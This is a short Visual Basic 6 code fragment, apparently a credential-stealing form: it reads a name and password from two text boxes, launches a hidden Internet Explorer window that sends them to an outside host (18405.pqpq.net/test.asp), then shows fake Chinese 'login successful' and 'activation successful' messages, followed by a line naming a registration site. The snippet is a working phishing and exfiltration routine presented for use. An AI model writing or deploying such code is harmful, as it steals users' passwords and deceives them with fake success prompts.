Dim a As String
Dim b As String
a = Text1.Text
b = Text2.Text
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://18405.pqpq.net/test.asp?name=" + a + "&pass;=" + b, vbHide
Timer1.Enabled = True
MsgBox "登陆成功", , "系统提示"
MsgBox "开通成功", , "系统提示"
End Sub
--------------------------------------
注册网站:
www.5944.net